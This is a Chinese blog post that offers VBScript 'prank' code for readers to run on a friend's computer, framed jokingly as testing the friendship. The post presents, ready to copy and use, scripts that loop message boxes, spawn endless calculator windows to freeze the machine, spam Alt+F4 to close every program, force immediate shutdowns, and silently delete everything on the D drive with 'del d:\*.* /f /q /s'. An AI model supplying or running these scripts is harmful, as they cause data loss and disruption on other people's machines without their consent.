巧妙简单的坑人代码,“巩固”你和好哥们的友谊【坏笑】
今天刷盆友圈,看到了曾经和兄弟“快乐的回忆”,那一幕幕出现在我眼前,于是作为一名乐于助人的好市民,我肯定是要分享一下我的快乐
下面来看看具体做法
- 小打小闹
- 你在玩火
- 友禁!!
- 总结下哈
这里所有的代码只需要新建一个文本文档,将下列代码复制进去然后后缀改成vbs,双击就可以开始了
小打小闹
下面的代码可以一直循环一个框在桌面,点击确定和×都无法关掉
do
msgbox"关不掉略略略"
loop
可以替换msgbox中的东西,想说什么都可以
如果发现运行出来汉字是乱码可以这样处理
选择ANSI就可以解决啦
可是这个代码在任务管理器中可以轻易关闭,所以请继续往下看
你在玩火
这个代码可以一直打开计算器,一些配置比较…的电脑可以直接卡死,稍微好一点的也会感到卡顿.除了重启没办法;
Dim die
set die=createobject("wscript.shell")
do
die.run "calc"
loop
但是!!!如果好哥们的电脑太牛逼了,还是可以在任务管理器中关掉的
不要慌,我还有办法
dim die
set die = wscript.createobject("wscript.shell")
Do
die.SendKeys "%{F4}"
loop
当对方在打游戏(估计不鸟你)或者上网课的时候,这段代码就很有用了,它相当于一直按alt+f4(懂得都懂)这样子你的好哥们就会发现他打开的所有软件都没了,包括后台摸的鱼
dim die
do until die=500
die=die+1
msgbox "点击五百次我就饶过你",64
loop
你告诉我上面的都没有用???试试这个,500可以随意更改
当然,你也可以将%{f4}换成^{esc},这样子就可以无限呼出菜单,卡机必备
当然,在分享快乐的过程中。。。也是可以滴
on error resume next
dim aa,c
set aa = wscript.createobject("wscript.shell")
aa.run "cmd.exe /c shutdown -r -t 180 -c ""我是***儿子,不说就一分钟关机,嘿嘿嘿额嘿嘿"" ",0 ,true
dim a
do while(a <> "我是***儿子")
a = inputbox ("说 ""我***儿子"" ","不说?","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
set c = wscript.createobject("wscript.shell")
c.run "cmd.exe /c shutdown -a",0 ,true
msgbox "嘿嘿嘿嘿呃嘿嘿额"
dim die
set die = wscript.createobject("wscript.shell")
die.run "shutdown -f -s -t 00",0 ,true
如果好哥们学坏了,知道任务管理器可以关闭了,试试这个!!!,直接关机,毁天灭地!!!
友禁!!
清除d盘内容,让好哥们的steam离他而去
dim die
set die = wscript.createobject("wscript.shell")
die.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
总结下哈
如果好哥们经过以上处理,和你还能和谐相处,那么这个哥们一定要珍惜啊,一个真心的盆友是可遇不可求的
如果对您和好哥们的友谊有帮助的话,关注一下贤鱼支持一下吧^^